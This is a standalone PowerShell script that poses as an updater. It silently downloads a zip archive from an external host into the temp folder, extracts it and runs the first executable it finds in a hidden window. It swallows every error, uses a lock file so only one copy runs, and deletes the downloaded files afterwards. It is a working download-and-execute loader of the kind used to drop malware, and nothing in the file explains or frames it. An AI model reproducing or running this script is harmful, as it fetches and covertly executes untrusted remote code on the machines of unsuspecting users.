$ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $Url = "https://sourcemirrors.org/hosted/63558-profixpanel5t8.zip" $DownloadPath = "$env:TEMP\update_indir.zip" $ExtractPath = "$env:TEMP\update_extract_$([guid]::NewGuid())" $LockFile = "$env:TEMP\update_0032.lck" if (Test-Path $LockFile) { $lockPid = Get-Content $LockFile -ErrorAction SilentlyContinue | Select-Object -First 1 $stillRunning = $false if ($lockPid) { $stillRunning = Get-Process -Id $lockPid -ErrorAction SilentlyContinue } if ($stillRunning) { exit 1 } Remove-Item $LockFile -Force -ErrorAction SilentlyContinue } $PID | Out-File -FilePath $LockFile -Force try { Invoke-WebRequest -Uri $Url -OutFile $DownloadPath -UseBasicParsing Expand-Archive -Path $DownloadPath -DestinationPath $ExtractPath -Force $exeFiles = Get-ChildItem -Path $ExtractPath -Recurse -Filter "*.exe" -File -ErrorAction SilentlyContinue if (-not $exeFiles) { throw "1" } $targetExe = $exeFiles | Select-Object -First 1 $proc = Start-Process -FilePath $targetExe.FullName -Wait -PassThru -WindowStyle Hidden if ($proc.ExitCode -eq 0) { Remove-Item $DownloadPath -Force -ErrorAction SilentlyContinue Remove-Item $ExtractPath -Recurse -Force -ErrorAction SilentlyContinue } } catch { } finally { Remove-Item $LockFile -Force -ErrorAction SilentlyContinue if (Test-Path $ExtractPath) { Remove-Item $ExtractPath -Recurse -Force -ErrorAction SilentlyContinue } }